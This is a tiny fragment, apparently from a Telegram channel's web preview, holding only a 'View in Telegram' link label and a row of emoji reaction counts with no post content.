VIEW IN TELEGRAM
6👍3🔥2